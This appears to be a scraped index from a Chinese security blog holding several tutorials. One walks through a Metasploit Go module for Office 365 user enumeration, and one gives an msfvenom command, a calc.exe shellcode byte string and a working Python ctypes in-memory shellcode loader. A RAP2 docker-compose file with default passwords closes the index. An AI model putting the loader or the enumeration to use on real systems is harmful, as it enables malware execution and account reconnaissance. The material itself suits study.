\u0026#34;outlook.office365.com\u0026#34;}, \u0026#34;EMAIL\u0026#34;: {Type: \u0026#34;string\u0026#34;, Description: \u0026#34;Single email address to do identity test against\u0026#34;, Required: false, Default: \u0026#34;\u0026#34;}, \u0026#34;EMAIL_FILE\u0026#34;: {Type: \u0026#34;string\u0026#34;, Description: \u0026#34;Path to file containing list of email addresses\u0026#34;, Required: false, Default: \u0026#34;\u0026#34;}, }} module.Init(metadata, run_exchange_enum) } 首先开头就是我们刚才所谈到的格式，首先是顶行的固定格式，然后main方法是定义了元数据信息，里面定义这个模块的基本信息， 然后定义了模块的三个参数项 RHOSTS、EMAIL、EMAIL_FILE，紧接着调用了 module.Init\n入口方法是 run_exchange_enum\n我们看看这个方法的源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 func run_exchange_enum(params map[string]interface{}) { email := params[\u0026#34;EMAIL\u0026#34;].(string) emailFile := params[\u0026#34;EMAIL_FILE\u0026#34;].(string) threads, e := strconv.Atoi(params[\u0026#34;THREADS\u0026#34;].(string)) ip := params[\u0026#34;rhost\u0026#34;].(string) if e != nil { module.LogError(\u0026#34;Unable to parse \u0026#39;Threads\u0026#39; value using default (5)\u0026#34;) threads = 5 } if threads \u0026gt; 100 { module.LogInfo(\u0026#34;Threads value too large, setting max(100)\u0026#34;) threads = 100 } if email == \u0026#34;\u0026#34; \u0026amp;\u0026amp; emailFile == \u0026#34;\u0026#34; { module.LogError(\u0026#34;Expected \u0026#39;EMAIL\u0026#39; or \u0026#39;EMAIL_FILE\u0026#39; field to be populated\u0026#34;) return } var validUsers []string if email != \u0026#34;\u0026#34; { validUsers = o365enum(ip, []string{email}, threads) } if emailFile != \u0026#34;\u0026#34; { validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads) } msmail.ReportValidUsers(ip, validUsers) } 首先方法的开头取了模块的基本配置信息，紧接着是一系列判断，然后我们看到关键的代码\n1 2 3 4 5 6 7 8 9 10 var validUsers []string if email != \u0026#34;\u0026#34; { validUsers = o365enum(ip, []string{email}, threads) } if emailFile != \u0026#34;\u0026#34; { validUsers = o365enum(ip, msmail.ImportUserList(emailFile), threads) } msmail.ReportValidUsers(ip, validUsers) o365enum 方法就在这个方法的下面，但是这里并不是我们讨论的重点，是什么我们不管，只需要知道，他执行了一些枚举遍历的操作，返回了可用的用户，操作怎么做的不在我们的讨论重点内\n然后调用了 msmail.ReportValidUsers(ip, validUsers)\n前面我们说过，并不支持第三方库，msmail是他自己在 share/src 下创建的一个库，具体代码可以在https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/msmail/shared/src/msmail/msmail.go看到\n我们直接定位到我们刚才说到的 msmail.ReportValidUsers\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package msmail import ( ... \u0026#34;metasploit/module\u0026#34; ... ) ... func ReportValidUsers(ip string, validUsers []string) { port := \u0026#34;443\u0026#34; service := \u0026#34;owa\u0026#34; protocol := \u0026#34;tcp\u0026#34; for _, user := range validUsers { opts := map[string]string{ \u0026#34;port\u0026#34;: port, \u0026#34;service_name\u0026#34;: service, \u0026#34;address\u0026#34;: ip, \u0026#34;protocol\u0026#34;: protocol, } module.LogInfo(\u0026#34;Loging user: \u0026#34; + user) module.ReportCredentialLogin(user, \u0026#34;\u0026#34;, opts) } } 这里面把传过来的用户名遍历了然后调用了\n1 2 module.LogInfo(\u0026#34;Loging user: \u0026#34; + user) module.ReportCredentialLogin(user, \u0026#34;\u0026#34;, opts) 前一个方法我们能猜到是日志输出 后一个呢？我们都跟过去看看\nhttps://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/modules/external/go/src/metasploit/module/core.go 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 func rpcSend(res interface{}) error { rpcMutex.Lock() defer rpcMutex.Unlock() resStr, err := json.Marshal(res) if err != nil { return err } f := bufio.NewWriter(os.Stdout) if _, err := f.Write(resStr); err != nil { return err } if err := f.Flush(); err != nil { return err } return nil } ... func LogInfo(message string) { msfLog(message, \u0026#34;info\u0026#34;) } ... func msfLog(message string, level string) { req := \u0026amp;logRequest{\u0026#34;2.0\u0026#34;, \u0026#34;message\u0026#34;, logparams{level, message}} if err := rpcSend(req); err != nil { log.Fatal(err) } } 可以看到 module.LogInfo 是基础的日志输出\nhttps://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/modules/external/go/src/metasploit/module/report.go 1 2 3 4 5 6 7 8 9 10 11 12 13 14 func ReportCredentialLogin(username string, password string, opts map[string]string) { base := map[string]string{\u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: password} if err := report(\u0026#34;credential_login\u0026#34;, base, opts); err != nil { log.Fatal(err) } } func report(kind string, base map[string]string, opts map[string]string) error { for k, v := range base { opts[k] = v } req := \u0026amp;reportRequest{\u0026#34;2.0\u0026#34;, \u0026#34;report\u0026#34;, reportparams{kind, opts}} return rpcSend(req) } 这个方法就是很简单的把数据略微友好型展示了一下\n所以整个的流程就是选择好模块，设置好参数，module.Init 进去，然后直接 run，就执行 module.Init 第二个参数传入的回调方法\n然后后面就只是你用golang进行其他操作最后再进行调用msf公有模块进行信息展示了\nReferences https://github.com/rapid7/metasploit-framework/wiki/Writing-External-GoLang-Modules https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/msmail/exchange_enum.go https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core/modules/external/go/src/metasploit/module ","permalink":"https://www.hacktech.cn/post/2020/02/write-msf-module-in-go/","summary":"\u003cp\u003e最近有空在看msf，发现msf里面有模块的源码是golang的，去翻了翻wiki，wiki上面的编写日期是2018.12.13，搜了下国内，好像没有这方面的文章，那就自己跟着做做记个笔记\u003c/p\u003e","title":"如何用Golang写msf插件模块"},{"content":"生成 首先生成一个测试的msf shellcode\n1 msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使用\n原理 大部分脚本语言加载 shellcode 其实都是通过 c 的 ffi 去调用操作系统的api，其实并没有太多的技巧在里面，明白了原理，只需要查一下对应的脚本语言怎么调用 c 即可。\n那么我们只需要明白 c 通常是怎么加载 shellcode 的即可一通百通。\n那么 c 是怎么加载 shellcode 呢，我们直接从汇编开始探究。\nshellcode 这个东西我们明白是一串可执行的二进制（一般可执行文件的拥有可执行权限的section为.text），那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 shellcode，然后跳转到 shellcode 首地址去执行就行了，汇编里面改变eip（即当前指令的下一条即将运行指令的虚拟地址）的方法有不少，最简单的就是直接 jmp 过去了。也就是写成伪码大概意思就是（动态申请内存就不写了）\n1 2 lea eax, shellcode; jmp eax; 那么我们用 c 怎么表示呢？我这里也写一段伪码（因为本文的重点并不是在于 c 代码的编写）\n那么按照刚才的思路，先申请一块可执行的内存，放入 shellcode 然后跳转过去执行即可。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // shellcode unsigned char shellcode[] = \u0026#34;\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\u0026#34; \u0026#34;\\x64\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\u0026#34; \u0026#34;\\x8b\\x7e\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\u0026#34; ...; // 定义一个函数类型 typedef void (__stdcall *CODE) (); // 申请内存 PVOID p = NULL; p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 把shellcode放入内存 memcpy(p, shellcode, sizeof(shellcode)); CODE code =(CODE)p; code(); 我并没有写出一个可用的 c 加载 shellcode，只是旨在点出一下流程，然后引出后面的 python 加载 shellcode，上面我们先申请了一块带有可读可写可执行权限的内存，然后把 shellcode 放进去，然后我们强转为一个函数类型指针，最后调用这个函数，达到了我们的目的。\nPython实现 前面我说过，大部分脚本语言加载 shellcode 都是调用的c的ffi，那么我们直接按照之前的思路来就行了。下面我直接贴代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import ctypes shellcode = b\u0026#34;\u0026#34; shellcode += b\u0026#34;\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\u0026#34; shellcode += b\u0026#34;\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\u0026#34; shellcode += b\u0026#34;\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\u0026#34; shellcode += b\u0026#34;\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\u0026#34; shellcode += b\u0026#34;\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\u0026#34; shellcode += b\u0026#34;\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\u0026#34; shellcode += b\u0026#34;\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\u0026#34; shellcode += b\u0026#34;\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\u0026#34; shellcode += b\u0026#34;\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\u0026#34; shellcode += b\u0026#34;\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\u0026#34; shellcode += b\u0026#34;\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\u0026#34; shellcode += b\u0026#34;\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\u0026#34; shellcode += b\u0026#34;\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\u0026#34; shellcode += b\u0026#34;\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\u0026#34; shellcode += b\u0026#34;\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\u0026#34; shellcode += b\u0026#34;\\x8b\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\u0026#34; shellcode += b\u0026#34;\\x00\\x00\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\u0026#34; shellcode += b\u0026#34;\\xba\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x41\u0026#34; shellcode += b\u0026#34;\\xba\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\u0026#34; shellcode += b\u0026#34;\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\u0026#34; shellcode += b\u0026#34;\\x00\\x59\\x41\\x89\\xda\\xff\\xd5\\x63\\x61\\x6c\\x63\\x2e\\x65\u0026#34; shellcode += b\u0026#34;\\x78\\x65\\x00\u0026#34; shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) 注意其中的的每个 c_uint64，这个类型在64位上是必要的，我们需要手动指定 argtypes 和 restype ，否则默认的是 32 位整型。\n我的代码里面加了注释，我们可以看到，基本思路也是一样的，先分配一块可读可写可执行代码的内存，在代码中，我使用的是 0x40（PAGE_EXECUTE_READWRITE）和 0x3000 ( 0x1000 | 0x2000)(MEM_COMMIT | MEM_RESERVE)，然后把 shellcode 塞进去，跳过去运行。\n相信通过这一片文章的讲解你能够对 shellcode 的本质有更多的了解。\n","permalink":"https://www.hacktech.cn/post/2019/11/run-shellcode-in-py/","summary":"\u003ch2 id=\"生成\"\u003e生成\u003c/h2\u003e\n\u003cp\u003e首先生成一个测试的msf shellcode\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emsfvenom -p windows/x64/exec CMD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ecalc.exe -f python\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"enter description here\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/akkuman/pic/master/pic/2021/8/2cbc73b0e4018b2761dcfd1584da6661..png\"\u003e\u003c/p\u003e\n\u003cp\u003e把其中的shellcode复制出来留待待会使用\u003c/p\u003e\n\u003ch2 id=\"原理\"\u003e原理\u003c/h2\u003e\n\u003cp\u003e大部分脚本语言加载 shellcode 其实都是通过 \u003ccode\u003ec\u003c/code\u003e 的 \u003ccode\u003effi\u003c/code\u003e 去调用操作系统的api，其实并没有太多的技巧在里面，明白了原理，只需要查一下对应的脚本语言怎么调用 \u003ccode\u003ec\u003c/code\u003e 即可。\u003c/p\u003e\n\u003cp\u003e那么我们只需要明白 \u003ccode\u003ec\u003c/code\u003e 通常是怎么加载 \u003ccode\u003eshellcode\u003c/code\u003e 的即可一通百通。\u003c/p\u003e\n\u003cp\u003e那么 \u003ccode\u003ec\u003c/code\u003e 是怎么加载 \u003ccode\u003eshellcode\u003c/code\u003e 呢，我们直接从汇编开始探究。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eshellcode\u003c/code\u003e 这个东西我们明白是一串可执行的二进制（一般可执行文件的拥有可执行权限的section为.text），那么我们先通过其他的手段开辟一片拥有可读可写可执行权限的区域放入我们的 \u003ccode\u003eshellcode\u003c/code\u003e，然后跳转到 \u003ccode\u003eshellcode\u003c/code\u003e 首地址去执行就行了，汇编里面改变eip（即当前指令的下一条即将运行指令的虚拟地址）的方法有不少，最简单的就是直接 \u003ccode\u003ejmp\u003c/code\u003e 过去了。也就是写成伪码大概意思就是（动态申请内存就不写了）\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elea eax, shellcode;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejmp eax;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e那么我们用 \u003ccode\u003ec\u003c/code\u003e 怎么表示呢？我这里也写一段伪码（因为本文的重点并不是在于 \u003ccode\u003ec\u003c/code\u003e 代码的编写）\u003c/p\u003e\n\u003cp\u003e那么按照刚才的思路，先申请一块可执行的内存，放入 \u003ccode\u003eshellcode\u003c/code\u003e 然后跳转过去执行即可。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// shellcode\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e shellcode[] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x64\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\x8b\\x7e\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ...;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 定义一个函数类型\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etypedef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003evoid\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003e__stdcall\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eCODE) ();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 申请内存\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePVOID p \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e NULL;  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ep \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eVirtualAlloc\u003c/span\u003e(NULL, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(shellcode), MEM_COMMIT \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 把shellcode放入内存\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ememcpy\u003c/span\u003e(p, shellcode, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(shellcode));\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCODE code \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e(CODE)p;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003ecode\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e我并没有写出一个可用的 \u003ccode\u003ec\u003c/code\u003e 加载 \u003ccode\u003eshellcode\u003c/code\u003e，只是旨在点出一下流程，然后引出后面的 \u003ccode\u003epython\u003c/code\u003e 加载 \u003ccode\u003eshellcode\u003c/code\u003e，上面我们先申请了一块带有可读可写可执行权限的内存，然后把 \u003ccode\u003eshellcode\u003c/code\u003e 放进去，然后我们强转为一个函数类型指针，最后调用这个函数，达到了我们的目的。\u003c/p\u003e","title":"Python内存加载shellcode"},{"content":"RAP2 是一个api管理系统，前后端协作开发的利器。\n在线体验地址http://rap2.taobao.org\nWeb接口管理工具，开源免费，接口自动化，MOCK数据自动生成，自动化测试，企业级管理。\n有一份一键搭建的docker-compose.yml，但是已经是比较老的前端了，具体可以查看https://hub.docker.com/r/taomaree/rap2\n我这里把他的docker-compose.yml贴出来\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 version: \u0026#39;2.2\u0026#39; services: delos: container_name: rap2-delos image: taomaree/rap2:1.0.6 environment: - MYSQL_URL=rap2-mysql - MYSQL_PORT=3306 - MYSQL_USERNAME=rap2 - MYSQL_PASSWD=rap2delos - MYSQL_SCHEMA=RAP2_DELOS_APP - REDIS_URL=rap2-redis - REDIS_PORT=6379 - NODE_ENV=production working_dir: /app/rap2-delos/dist volumes: - \u0026#34;/srv/rap2-mysql/mysql-backup:/backup\u0026#34; ports: - \u0026#34;38080:80\u0026#34; # expose 38080 links: - redis - mysql depends_on: - redis - mysql redis: container_name: rap2-redis image: redis:4.0 mysql: container_name: rap2-mysql image: mysql:8.0 #ports: # - 33306:3306 volumes: - \u0026#34;/srv/rap2-mysql/mysql-data:/var/lib/mysql\u0026#34; command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --init-connect=\u0026#39;SET NAMES utf8mb4;\u0026#39; --default-authentication-plugin=mysql_native_password --innodb-flush-log-at-trx-commit=0 environment: - MYSQL_ALLOW_EMPTY_PASSWORD=yes - MYSQL_DATABASE=RAP2_DELOS_APP - MYSQL_USER=rap2 - MYSQL_PASSWORD=rap2delos rap2-init: container_name: rap2-init image: taomaree/rap2:1.0.6 environment: - MYSQL_URL=rap2-mysql - MYSQL_PORT=3306 - MYSQL_USERNAME=rap2 - MYSQL_PASSWD=rap2delos - 